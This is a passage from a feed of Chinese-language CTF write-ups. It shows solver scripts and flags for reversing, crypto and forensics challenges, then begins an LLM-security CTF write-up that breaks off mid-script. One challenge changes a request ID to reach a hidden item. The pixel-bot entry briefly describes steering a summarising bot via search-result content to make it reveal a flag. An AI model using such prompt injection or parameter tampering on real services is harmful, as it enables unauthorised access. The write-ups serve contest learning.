x.add((a[0+32]*115+a[1+32]*204+a[2+32]*168+a[3+32]*225+a[4+32]*233+a[5+32]*242+a[6+32]*141+a[7+32]*102+a[8+32]*80+a[9+32]*175+a[10+32]*32+a[11+32]*117+a[12+32]*30+a[13+32]*15+a[14+32]*213+a[15+32]*91)&amp;0xff==s1[2+32])<br>x.add((a[0+32]*60+a[1+32]*35+a[2+32]*61+a[3+32]*255+a[4+32]*133+a[5+32]*212+a[6+32]*75+a[7+32]*110+a[8+32]*81+a[9+32]*35+a[10+32]*159+a[11+32]*111+a[12+32]*146+a[13+32]*237+a[14+32]*215+a[15+32]*142)&amp;0xff==s1[3+32])<br>x.add((a[0+32]*179+a[1+32]*68+a[2+32]*170+a[3+32]*215+a[4+32]*255+a[5+32]*48+a[6+32]*250+a[7+32]*58+a[8+32]*77+a[9+32]*39+a[10+32]*49+a[11+32]*22+a[12+32]*83+a[13+32]*93+a[14+32]*73+a[15+32]*96)&amp;0xff==s1[4+32])<br>x.add((a[0+32]*130+a[1+32]*47+a[2+32]*195+a[3+32]*93+a[4+32]*192+a[5+32]*178+a[6+32]*12+a[7+32]*43+a[8+32]*151+a[9+32]*29+a[10+32]*29+a[11+32]*55+a[12+32]*86+a[13+32]*76+a[14+32]*161+a[15+32]*55)&amp;0xff==s1[5+32])<br>x.add((a[0+32]*128+a[1+32]*107+a[2+32]*107+a[3+32]*112+a[4+32]*214+a[5+32]*51+a[6+32]*36+a[7+32]*132+a[8+32]*207+a[9+32]*213+a[10+32]*25+a[11+32]*166+a[12+32]*254+a[13+32]*206+a[14+32]*248+a[15+32]*98)&amp;0xff==s1[6+32])<br>x.add((a[0+32]*21+a[1+32]*72+a[2+32]*129+a[3+32]*228+a[4+32]*192+a[5+32]*190+a[6+32]*109+a[7+32]*203+a[8+32]*19+a[9+32]*35+a[10+32]*56+a[11+32]*202+a[12+32]*249+a[13+32]*95+a[14+32]*176+a[15+32]*159)&amp;0xff==s1[7+32])<br>x.add((a[0+32]*39+a[1+32]*66+a[2+32]*218+a[3+32]*115+a[4+32]*168+a[5+32]*25+a[6+32]*32+a[7+32]*137+a[8+32]*73+a[9+32]*185+a[10+32]*80+a[11+32]*213+a[12+32]*69+a[13+32]*68+a[14+32]*59+a[15+32]*16)&amp;0xff==s1[8+32])<br>x.add((a[0+32]*12+a[1+32]*197+a[2+32]*214+a[3+32]*249+a[4+32]*215+a[5+32]*165+a[6+32]*171+a[7+32]*176+a[8+32]*79+a[9+32]*65+a[10+32]*251+a[11+32]*16+a[12+32]*142+a[13+32]*112+a[14+32]*6+a[15+32]*17)&amp;0xff==s1[9+32])<br>x.add((a[0+32]*205+a[1+32]*251+a[2+32]*189+a[3+32]*70+a[4+32]*254+a[5+32]*140+a[6+32]*181+a[7+32]*213+a[8+32]*252+a[9+32]*112+a[10+32]*106+a[11+32]*243+a[12+32]*66+a[13+32]*193+a[14+32]*147+a[15+32]*180)&amp;0xff==s1[10+32])<br>x.add((a[0+32]*149+a[1+32]*205+a[2+32]*80+a[3+32]*192+a[4+32]*174+a[5+32]*110+a[6+32]*160+a[7+32]*121+a[8+32]*103+a[9+32]*78+a[10+32]*174+a[11+32]*90+a[12+32]*205+a[13+32]*99+a[14+32]*2+a[15+32]*174)&amp;0xff==s1[11+32])<br>x.add((a[0+32]*79+a[1+32]*144+a[2+32]*161+a[3+32]*243+a[4+32]*140+a[5+32]*55+a[6+32]*149+a[7+32]*18+a[8+32]*60+a[9+32]*201+a[10+32]*149+a[11+32]*216+a[12+32]*2+a[13+32]*226+a[14+32]*49+a[15+32]*81)&amp;0xff==s1[12+32])<br>x.add((a[0+32]*114+a[1+32]*188+a[2+32]*139+a[3+32]*5+a[4+32]*60+a[5+32]*238+a[6+32]*7+a[7+32]*114+a[8+32]*202+a[9+32]*44+a[10+32]*75+a[11+32]*118+a[12+32]*130+a[13+32]*100+a[14+32]*8+a[15+32]*91)&amp;0xff==s1[13+32])<br>x.add((a[0+32]*18+a[1+32]*91+a[2+32]*153+a[3+32]*190+a[4+32]*44+a[5+32]*223+a[6+32]*146+a[7+32]*193+a[8+32]*250+a[9+32]*24+a[10+32]*25+a[11+32]*51+a[12+32]*158+a[13+32]*102+a[14+32]*122+a[15+32]*164)&amp;0xff==s1[14+32])<br>x.add((a[0+32]*211+a[1+32]*205+a[2+32]*34+a[3+32]*52+a[4+32]*227+a[5+32]*81+a[6+32]*76+a[7+32]*70+a[8+32]*147+a[9+32]*203+a[10+32]*66+a[11+32]*176+a[12+32]*190+a[13+32]*199+a[14+32]*34+a[15+32]*48)&amp;0xff==s1[15+32])</pre><pre>x.add((a[0+48]*170+a[1+48]*237+a[2+48]*236+a[3+48]*93+a[4+48]*142+a[5+48]*135+a[6+48]*65+a[7+48]*255+a[8+48]*166+a[9+48]*166+a[10+48]*16+a[11+48]*91+a[12+48]*198+a[13+48]*1+a[14+48]*122+a[15+48]*253)&amp;0xff==s1[0+48])<br>x.add((a[0+48]*61+a[1+48]*113+a[2+48]*174+a[3+48]*90+a[4+48]*79+a[5+48]*220+a[6+48]*48+a[7+48]*235+a[8+48]*141+a[9+48]*151+a[10+48]*254+a[11+48]*40+a[12+48]*64+a[13+48]*76+a[14+48]*131+a[15+48]*127)&amp;0xff==s1[1+48])<br>x.add((a[0+48]*115+a[1+48]*204+a[2+48]*168+a[3+48]*225+a[4+48]*233+a[5+48]*242+a[6+48]*141+a[7+48]*102+a[8+48]*80+a[9+48]*175+a[10+48]*32+a[11+48]*117+a[12+48]*30+a[13+48]*15+a[14+48]*213+a[15+48]*91)&amp;0xff==s1[2+48])<br>x.add((a[0+48]*60+a[1+48]*35+a[2+48]*61+a[3+48]*255+a[4+48]*133+a[5+48]*212+a[6+48]*75+a[7+48]*110+a[8+48]*81+a[9+48]*35+a[10+48]*159+a[11+48]*111+a[12+48]*146+a[13+48]*237+a[14+48]*215+a[15+48]*142)&amp;0xff==s1[3+48])<br>x.add((a[0+48]*179+a[1+48]*68+a[2+48]*170+a[3+48]*215+a[4+48]*255+a[5+48]*48+a[6+48]*250+a[7+48]*58+a[8+48]*77+a[9+48]*39+a[10+48]*49+a[11+48]*22+a[12+48]*83+a[13+48]*93+a[14+48]*73+a[15+48]*96)&amp;0xff==s1[4+48])<br>x.add((a[0+48]*130+a[1+48]*47+a[2+48]*195+a[3+48]*93+a[4+48]*192+a[5+48]*178+a[6+48]*12+a[7+48]*43+a[8+48]*151+a[9+48]*29+a[10+48]*29+a[11+48]*55+a[12+48]*86+a[13+48]*76+a[14+48]*161+a[15+48]*55)&amp;0xff==s1[5+48])<br>x.add((a[0+48]*128+a[1+48]*107+a[2+48]*107+a[3+48]*112+a[4+48]*214+a[5+48]*51+a[6+48]*36+a[7+48]*132+a[8+48]*207+a[9+48]*213+a[10+48]*25+a[11+48]*166+a[12+48]*254+a[13+48]*206+a[14+48]*248+a[15+48]*98)&amp;0xff==s1[6+48])<br>x.add((a[0+48]*21+a[1+48]*72+a[2+48]*129+a[3+48]*228+a[4+48]*192+a[5+48]*190+a[6+48]*109+a[7+48]*203+a[8+48]*19+a[9+48]*35+a[10+48]*56+a[11+48]*202+a[12+48]*249+a[13+48]*95+a[14+48]*176+a[15+48]*159)&amp;0xff==s1[7+48])<br>x.add((a[0+48]*39+a[1+48]*66+a[2+48]*218+a[3+48]*115+a[4+48]*168+a[5+48]*25+a[6+48]*32+a[7+48]*137+a[8+48]*73+a[9+48]*185+a[10+48]*80+a[11+48]*213+a[12+48]*69+a[13+48]*68+a[14+48]*59+a[15+48]*16)&amp;0xff==s1[8+48])<br>x.add((a[0+48]*12+a[1+48]*197+a[2+48]*214+a[3+48]*249+a[4+48]*215+a[5+48]*165+a[6+48]*171+a[7+48]*176+a[8+48]*79+a[9+48]*65+a[10+48]*251+a[11+48]*16+a[12+48]*142+a[13+48]*112+a[14+48]*6+a[15+48]*17)&amp;0xff==s1[9+48])<br>x.add((a[0+48]*205+a[1+48]*251+a[2+48]*189+a[3+48]*70+a[4+48]*254+a[5+48]*140+a[6+48]*181+a[7+48]*213+a[8+48]*252+a[9+48]*112+a[10+48]*106+a[11+48]*243+a[12+48]*66+a[13+48]*193+a[14+48]*147+a[15+48]*180)&amp;0xff==s1[10+48])<br>x.add((a[0+48]*149+a[1+48]*205+a[2+48]*80+a[3+48]*192+a[4+48]*174+a[5+48]*110+a[6+48]*160+a[7+48]*121+a[8+48]*103+a[9+48]*78+a[10+48]*174+a[11+48]*90+a[12+48]*205+a[13+48]*99+a[14+48]*2+a[15+48]*174)&amp;0xff==s1[11+48])<br>x.add((a[0+48]*79+a[1+48]*144+a[2+48]*161+a[3+48]*243+a[4+48]*140+a[5+48]*55+a[6+48]*149+a[7+48]*18+a[8+48]*60+a[9+48]*201+a[10+48]*149+a[11+48]*216+a[12+48]*2+a[13+48]*226+a[14+48]*49+a[15+48]*81)&amp;0xff==s1[12+48])<br>x.add((a[0+48]*114+a[1+48]*188+a[2+48]*139+a[3+48]*5+a[4+48]*60+a[5+48]*238+a[6+48]*7+a[7+48]*114+a[8+48]*202+a[9+48]*44+a[10+48]*75+a[11+48]*118+a[12+48]*130+a[13+48]*100+a[14+48]*8+a[15+48]*91)&amp;0xff==s1[13+48])<br>x.add((a[0+48]*18+a[1+48]*91+a[2+48]*153+a[3+48]*190+a[4+48]*44+a[5+48]*223+a[6+48]*146+a[7+48]*193+a[8+48]*250+a[9+48]*24+a[10+48]*25+a[11+48]*51+a[12+48]*158+a[13+48]*102+a[14+48]*122+a[15+48]*164)&amp;0xff==s1[14+48])<br>x.add((a[0+48]*211+a[1+48]*205+a[2+48]*34+a[3+48]*52+a[4+48]*227+a[5+48]*81+a[6+48]*76+a[7+48]*70+a[8+48]*147+a[9+48]*203+a[10+48]*66+a[11+48]*176+a[12+48]*190+a[13+48]*199+a[14+48]*34+a[15+48]*48)&amp;0xff==s1[15+48])</pre><pre>if x.check()==z3.sat:<br>    print(&quot;success&quot;)<br>    m=x.model()<br>    for i in a:<br>        if m[i] is not None:<br>                print(chr(m[i].as_long()),end=&#39;&#39;)<br>    print(&quot;&quot;)<br>else:<br>    print(&quot;failed&quot;) <br>#ictf{S_d1dnt_5t4nd_f0r_5t4ck_b3c4u53_h3r3_I_us3d_4_L1nk3d_qu3u3}</pre><h3>vokram</h3><blockquote><em>Can you find what this (very inefficient) VM is doing? 你能发现这个(非常低效的)虚拟机在做什么吗？</em></blockquote><p>py文件用文本编辑器打开</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GoSOIP1lCcT8SMAT" /></figure><p>这个脚本的作用就是加载check_flag程序。复制进IDE，下断点调试</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DEgu90V54t-k3N-k" /></figure><p>发现program是三千多个tuple即元组。可以把这些个元组全写入到文件，最后部分是判断，判断是根据能否匹配到那一长串决定的，当text字符串中出现那一串中的第一个字符时，如果整串不能被完全匹配，就会进入到错误输出</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nsY_OSVfc7hHWGGt" /></figure><p>这个题写了相当之久，贴一下做题时的思路</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*zXQpkgGmfhqDaGBP" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6lI71D01mAVIe-30" /></figure><p>这个题本质上状态机的转换，核心就在于弄清楚输入字符串的长度，利用那个杯子换空字符串的特殊转换，一直在想那个菠萝怎么消掉。。多次输入不同长度，可以发现在出现菠萝之前，串的长度几乎没变，所以输入的长度就应该等于最后那一串的长度-1。脚本，不是很完整，因为过程比较复杂。这个脚本不要轻易跑，尽量弄清楚各部分有什么用再跑，因为有多处文件写入，可能会产生两百多兆的数据文件</p><pre>def vokram(text, program,f):<br>    while True:<br>        for pat, repl, stop in program:<br>            if pat in text:<br>                text = text.replace(pat, repl, 1)<br>                f.write(text+&#39; \n&#39;)<br>                if stop:<br>                    return text<br>                break<br>        else:<br>            return text</pre><pre># def vokram_re(text,program):<br>#     while True:<br>#         for pat, repl, stop in program:<br>#             if repl in text and repl != &#39;&#39;:<br>#                 text = text.replace(repl, pat, 1)<br>#                 if stop:<br>#                     return text<br>#                 break<br>#         else:<br>#             return text<br>        <br>def parse(source):<br>    program = []<br>    for line in source.strip().splitlines():<br>        pat, repl = line.split(&quot;:&quot;, 1)<br>        stop = False<br>        if len(repl) &gt; 0 and repl[0] == &quot;:&quot;:<br>            repl = repl[1:]<br>            stop = True<br>        if &quot;:&quot; in repl:<br>            raise ValueError(&quot;invalid rule: %r&quot; % line)<br>        program.append((pat, repl, stop))<br>    return program<br></pre><pre>source_file = &quot;check_flag.vokram&quot;<br>input_str = &quot;♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂{♂i♂c♂t♂f♂}&quot;<br>with open(source_file,&#39;r&#39;,encoding=&#39;utf-8&#39;) as f:<br>    program = parse(f.read())<br>with open(&#39;test3.txt&#39;,&#39;w+&#39;,encoding=&#39;utf-8&#39;) as f:<br>    #vokram(input_str, program,f)<br>    print(&#39;&#39;)</pre><pre>output_str =program[3441][0]<br># program=program[::-1]<br># print(vokram_re(output_str, program))<br>import sys<br>sys.setrecursionlimit(3000)<br></pre><pre>s1=&#39;&#39;<br>def retback(text,program,f):<br>    global output_str<br>    global s1<br>    for pat, repl, stop in program:<br>        if text in repl:<br>            if pat!=&#39;&#39;:<br>                s1=pat+&#39;🍍🥽&#39;+s1[1:]<br>                f.write(str((pat, repl, stop))+&#39;\n&#39;)<br>                text=pat<br>                retback(text,program,f)<br>                return s1<br>            else:<br>                return s1<br>with open(&#39;test1.txt&#39;,&#39;w+&#39;,encoding=&#39;utf-8&#39;) as f:<br>    retback(&#39;📑🍍🥽&#39;,program,f)<br>    f.write(&#39;\n\n\n &#39;+s1+&#39; \n&#39;)<br>    <br>s2=&#39;📑🔼🦥🔼🦥🥽🦥🔼🦥🔼🔼🔼🦥🔼🦥🥽🥽🔼🔼🥽🥽🔼🦥🦥🥽🔼🔼🥽🥽🦥🦥🦥🦥🦥🦥🔼🥽🥽🔼🔼🥽🔼🔼🔼🦥🦥🔼🔼🥽🦥🔼🦥🔼🔼🔼🔼🦥🔼🔼🦥🥽🦥🦥🔼🔼🥽🦥🦥🦥🔼🦥🥽🦥🔼🦥🥽🥽🥽🔼🥽🥽🥽🥽🦥🔼🥽🥽🔼🦥🔼🔼🔼🔼🔼🥽🥽🔼🥽🦥🦥🦥🦥🥽🦥🔼🦥🔼🦥🔼🥽🦥🔼🥽🦥🔼🥽🥽🔼🦥🥽🥽🥽🦥🔼🥽🦥🔼🦥🦥🔼🥽🔼🦥🥽🔼🦥🥽🔼🦥🔼🦥🦥🔼🦥🔼🦥🔼🔼🥽🔼🔼🥽🦥🦥🔼🔼🦥🦥🥽🦥🔼🦥🦥🥽🔼🥽🦥🦥🔼🦥🦥🥽🦥🥽🔼🥽🥽🥽🔼🥽🦥🔼🔼🔼🔼🔼🔼🥽🥽🥽🔼🦥🥽🦥🥽🦥🦥🥽🥽🔼🥽🥽🦥🥽🔼🥽🦥🔼🔼🔼🔼🔼🦥🥽🔼🥽🦥🦥🥽🔼🦥🥽🥽🥽🔼🔼&#39;<br>#print(len(s2)//5)</pre><pre>count=0<br>i=0<br>for index,(pat, repl, stop) in enumerate(program):<br>    if len(pat)==3:<br>        if i == 0:<br>            i=index<br>        count+=1</pre><pre># program[i:i+count]=program[i:i+count][::-1]</pre><pre># with open(&quot;text4.txt&quot;,&#39;w+&#39;,encoding=&#39;utf-8&#39;) as f:<br>#     while s2[0] != &#39;🏓&#39;:<br>#         tmp = s2[-1:]<br>#         tmp = &#39;🍷&#39;+tmp<br>#         s2 = s2[:-1]+tmp<br>#         head=s2[0]<br>#         while s2[0] == head:<br>#             for pat, repl, stop in program:<br>#                 if repl in s2 and repl != &#39;&#39;:<br>#                     s2 = s2.replace(repl, pat, 1)<br>#                     f.write(s2+&#39; \n&#39;)<br>#                     break;<br>#                 if &#39;け🔼&#39; in s2:<br>#                     s2=s2.replace(&#39;け🔼&#39;,&#39;🍍🥽🔼&#39;)<br>#                 elif &#39;け🥽&#39; in s2:<br>#                     s2=s2.replace(&#39;け🥽&#39;,&#39;🍍🥽🥽&#39;)<br>#                 elif &#39;け🦥&#39; in s2:<br>#                     s2=s2.replace(&#39;け🦥&#39;,&#39;🍍🥽🦥&#39;)</pre><pre>#     s2=s2[1:]<br>#     f.write(s2+&#39; \n&#39;)<br>#     for i in range(45):<br>#         for pat, repl, stop in program:<br>#             if repl[:5] in s2:<br>#                 s2=s2.replace(repl,pat,1)<br>#                 break<br>    <br>#     f.write(s2+&#39; \n&#39;)<br>    <br>s3=&#39;🔼🥽🦥🦥🥽🔼🥽🦥🥽🥽🔼🔼🥽🦥🦥🔼🥽🦥🔼🥽🔼🔼🔼🦥🥽🔼🔼🥽🥽🥽🔼🥽🦥🔼🥽🔼🔼🥽🦥🔼🔼🔼🥽🦥🥽🔼🥽🔼🔼🦥🥽🔼🦥🦥🔼🔼🔼🥽🥽🦥🔼🥽🦥🥽🔼🔼🥽🔼🔼🦥🔼🔼🥽🥽🔼🥽🔼🦥🦥🔼🔼🔼🥽🦥🥽🔼🥽🦥🦥🦥🥽🔼🦥🔼🥽🔼🔼🔼🥽🔼🔼🥽🔼🔼🦥🔼🥽🔼🦥🔼🔼🔼🥽🥽🥽🔼🥽🦥🔼🔼🥽🔼🦥🔼🥽🔼🔼🥽🦥🥽🥽🔼🦥🔼🔼🥽🦥🥽🥽🔼🔼🥽🦥🔼🦥🔼🔼🥽🥽🔼🔼🥽🔼🔼🦥🔼🔼🥽🥽🔼🔼🥽🔼🦥🔼🔼🔼🥽🔼🥽🥽🔼🦥🥽🔼🔼🔼🥽🦥🔼🔼🔼🥽🥽🦥🔼🔼🔼🥽🥽🔼🥽🦥🦥🦥🔼🥽🦥🥽🦥🥽🔼🦥🥽🔼🔼🔼🥽🔼🥽🔼🔼🥽🦥🥽🔼🥽🦥🔼🔼🔼🔼🔼🦥🦥&#39;</pre><pre>s4=&#39;&#39;<br>with open(&#39;test5.txt&#39;,&#39;w+&#39;,encoding=&#39;utf-8&#39;) as f:<br>    for i in range(45):<br>        text=s3[i*5:i*5+5]<br>        for pat, repl, stop in program:<br>            if len(repl)&gt;5 and repl[:5] == text:<br>                s4+=pat<br>                break<br>    f.write(s4+&#39; \n&#39;)<br>    <br>for i in range(0,len(s4),2):<br>    print(s4[i+1],end=&#39;&#39;)<br>print(&#39;&#39;)<br>#ictf{lfsr_4nd_m4rk0v_alg0r17hm_mao.snuke.org}</pre><h3>Crypto</h3><h3>base64</h3><blockquote><strong><em>Description</em></strong><em> yet another base64 decoding challenge </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/8c2a3e4e78a0161f"><em>https://cybersharing.net/s/8c2a3e4e78a0161f</em></a></blockquote><p>类似于q进制的换算，写个脚本还原一下即可</p><pre>from Crypto.Util.number import *<br>secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]<br>q = 64<br>k=0<br>a=1<br>for i in range(len(secret_key)):<br>   k+=q**i*secret_key[i]<br>print(long_to_bytes(k))<br>#ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}</pre><h3>Forensics</h3><h3>cartesian-1</h3><blockquote><strong><em>Description</em></strong><em> THIS IS AN OSINT CHALLENGE. Greetings. You have been tasked with investigating the whereabouts of a potential recruit. To perform this top-secret background check, we must gather as much information as possible. Please investigate Terrence Descartes. We know that his social accounts are relatively new, so please do not attack anything out of scope. For the sake of this series of challenges, nothing pertaining to Terry has existed before July 17, 2024. Do not investigate anything posted online before then.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rqF0JT3p5IUGD9AO" /></figure><p>ictf{i_love_revealing_info_on_the_internet}</p><h3>route2</h3><blockquote><strong><em>Description</em></strong><em> Can you dig a bit deeper? (same attachment as packed) There are some fake flags; this is unintentional. The real flag is not in plaintext. md5(flag) = 17ef83e05f7f5410443994ac434b5823 </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/266989fb9d6c56b1"><em>https://cybersharing.net/s/266989fb9d6c56b1</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PAFH_EoIyMTEnX5j" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FMLgCryyCtXIEELQ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MCPecskA8LtGnWHH" /></figure><h3>crash</h3><blockquote><strong><em>Description</em></strong><em> I didn’t save my work… </em><strong><em>Attachments</em></strong><em> </em><a href="https://storage.googleapis.com/ictf-2024-files/dump.vmem"><em>https://storage.googleapis.com/ictf-2024-files/dump.vmem</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KGxW99T-sFuRcRad" /></figure><pre>vol.py -f &quot;C:\Users\PC-07\Desktop\dump.vmem&quot; -o . windows.dumpfiles --virtaddr 0xc60c81c70ce0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hjB3o1eaaIspoTk-" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u2EaBEsfz31Kc76L" /></figure><p>参考： <a href="https://blog.onfvp.com/post/volatility-cheatsheet/">https://blog.onfvp.com/post/volatility-cheatsheet/</a> <a href="https://github.com/volatilityfoundation/volatility3/issues/687">https://github.com/volatilityfoundation/volatility3/issues/687</a> <a href="https://github.com/volatilityfoundation/volatility3/issues/565">https://github.com/volatilityfoundation/volatility3/issues/565</a></p><h3>BOM</h3><blockquote><strong><em>Description</em></strong><em> 楣瑦筴栴瑟楳渷彣桩渳獥 </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/e964ad1143538987"><em>https://cybersharing.net/s/e964ad1143538987</em></a></blockquote><p>BOM头暴力猜解，文件本身是UTF-16 BE BOM头，但是文本是UTF-8编码，所以乱码了。把原来的BOM移除掉，再暴力枚举，会发现是UTF-8</p><pre># Common BOM headers<br>bom_map = {<br>    b&#39;\xEF\xBB\xBF&#39;: &#39;UTF-8 with BOM&#39;,<br>    b&#39;\xFE\xFF&#39;: &#39;UTF-16 Big Endian (BE)&#39;,<br>    b&#39;\xFF\xFE&#39;: &#39;UTF-16 Little Endian (LE)&#39;,<br>    b&#39;\x00\x00\xFE\xFF&#39;: &#39;UTF-32 Big Endian (BE)&#39;,<br>    b&#39;\xFF\xFE\x00\x00&#39;: &#39;UTF-32 Little Endian (LE)&#39;<br>}</pre><pre># Read the first few bytes of the file to detect the BOM header<br>def detect_bom(file_path):<br>    with open(file_path, &#39;rb&#39;) as file:<br>        raw = file.read(4)  # Read the first 4 bytes, as the longest BOM is 4 bytes<br>    for bom, encoding in bom_map.items():<br>        if raw.startswith(bom):<br>            return bom, encoding<br>    return None, None</pre><pre># File path<br>file_path = &#39;encoded_string.txt&#39;</pre><pre># Detect BOM<br>bom, encoding = detect_bom(file_path)<br>if bom:<br>    print(f&#39;Detected BOM: {bom}, Encoding format: {encoding}&#39;)<br>else:<br>    print(&#39;No BOM header detected or BOM header not in the known list&#39;)</pre><pre># Read file content<br>def read_file_with_bom(file_path, bom_length):<br>    with open(file_path, &#39;rb&#39;) as file:<br>        file.seek(bom_length)  # Skip the BOM header<br>        content = file.read()  # Read file content<br>    return content</pre><pre># Remove BOM header and read file content<br>if bom:<br>    bom_length = len(bom)<br>    file_content = read_file_with_bom(file_path, bom_length)<br>else:<br>    with open(file_path, &#39;rb&#39;) as file:<br>        file_content = file.read()</pre><pre># Try different decoding methods<br>encodings_to_try = [&#39;utf-8&#39;, &#39;utf-16-be&#39;, &#39;utf-16-le&#39;, &#39;utf-32-be&#39;, &#39;utf-32-le&#39;]</pre><pre>for encoding in encodings_to_try:<br>    try:<br>        decoded_content = file_content.decode(encoding)<br>        print(f&#39;Decoding result using encoding {encoding}:\n{decoded_content}&#39;)<br>    except Exception as e:<br>        print(f&#39;Decoding failed using encoding {encoding}: {e}&#39;)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47232a01854d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackPack（LLM挑战）Writeup]]></title>
            <link>https://wgpsec.medium.com/hackpack-llm%E6%8C%91%E6%88%98-writeup-efe668ec2008?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/efe668ec2008</guid>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Sun, 14 Apr 2024 07:42:54 GMT</pubDate>
            <atom:updated>2024-04-14T07:42:54.810Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>HackPackCTF是一个为对网络安全感兴趣的学生设置的危险风格的CTF。今年的CTF集中在LLM安全性上。</em></blockquote><blockquote><em>我们的所有挑战都将以某种方式涉及到黑客攻击LLM。祝你玩得愉快！</em></blockquote><blockquote><em>比赛地址：https://ctf2024.hackpack.club/</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mGsHAgSthSY2Jb8V" /></figure><h3>WEB</h3><h3>YellowDog-1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Welcome to YellowDogLLM, a service for providing LLM-generated description for images of (mostly) yellow dogs (aka Carolina dogs or American dingos). Variation 1.</em></blockquote><blockquote><em>欢迎来到YellowDogLLM，这是一个服务，主要为黄色狗狗（又名卡罗来纳狗或美国丁格犬）的图像提供LLM生成的描述。版本1。</em></blockquote><blockquote><a href="https://yellowdog1.cha.hackpack.club/"><em>https://yellowdog1.cha.hackpack.club/</em></a></blockquote><p>点击狗的图片，可以获得对应介绍</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*6SRj6TamTUJm9eUE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GIVa2EGoyhQbu6e9" /></figure><p>有一个是无法点击的，他的编号是 carolina89</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*08TiwnC9zyEMj2u5" /></figure><p>修改数据包编号为 carolina89 获得 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g8xZ5BmrkQientRU" /></figure><h3>pixel-bot</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>I made a bot to summerize google store listings! Give it a try. It has a flag for you if you can find a way to ask it for one.</em></blockquote><blockquote><em>我制作了一个机器人来概括Google商店的列表！试试看。如果你能找到一种方式向它提问，它有一个Flag等待你。</em></blockquote><blockquote><a href="https://pixel-bot.cha.hackpack.club/"><em>https://pixel-bot.cha.hackpack.club/</em></a></blockquote><p>有 google 域名的限制，我们输入的内容会被 bot 访问，并分析返回结果</p><p>于是用 google 进行搜索，题目说了 It has a flag for you if you can find a way to ask it for one.</p><p>向机器人索要 flag 就会给我们，于是利用 google search 向机器人传达信息</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VoxBGjbFWWhizqYx" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fnItgPTlnKzd0Uyl" /></figure><h3>LLPM</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Welcome to LLPM, the npm security certification for developers. How closely are you vetting your dependencies? How are attachers leveraging LLMs to attack you? Get certified as the master of dependencies by picking the correct dependencies for your npm application! One is real, one is malicious. Choose wisely!</em></blockquote><blockquote><em>欢迎来到LLPM，这是面向开发人员的npm安全认证。你对你的依赖项审核得有多严格？攻击者是如何利用LLM来攻击你的？通过为你的npm应用程序选择正确的依赖项，成为依赖项的大师! 有一个是真实的，有一个是恶意的。请选择明智！</em></blockquote><blockquote><a href="https://llpm.cha.hackpack.club/"><em>https://llpm.cha.hackpack.club/</em></a></blockquote><p>一共有10轮，赢了分数会增加</p><p>首先会发送这样一个请求，获取问题，经过我的测试，短的选项大概率是对的</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rMB65p5sFuLsG70n" /></figure><p>之后发送选择</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YHjEFoc2cns4__0R" /></figure><p>这个是有时间限制的，然后十轮结束之后会访问 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*btWYX81-ibYg1teV" /></figure><p>模拟一下</p><pre>import requests<br>import re<br>import json</pre><pre>s = requests.session()<br>url = &#39;http://example.com/api/endpoint&#39;<br>s.get(&quot;https://llpm.cha.hackpack.club/&quot;)<br>for i in range(1,11):<br>    r = s.get(&quot;https://llpm.cha.hackpack.club/level/&quot;+str(i))<br>    reg = re.findall(&quot;code.*?}&quot;,r.text)<br>    if(len(reg[0])&lt;len(reg[1])):<br>        data = {&quot;answer&quot;: 1, &quot;level&quot;: i}<br>        json_data = json.dumps(data)<br>        r2 = s.post(&quot;https://llpm.cha.hackpack.club/validate-point&quot;, data=json_data, headers={&#39;Content-Type&#39;: &#39;application/json&#39;})<br>    else:<br>        data = {&quot;answer&quot;: 2, &quot;level&quot;: i}<br>        json_data = json.dumps(data)<br>        r2 = 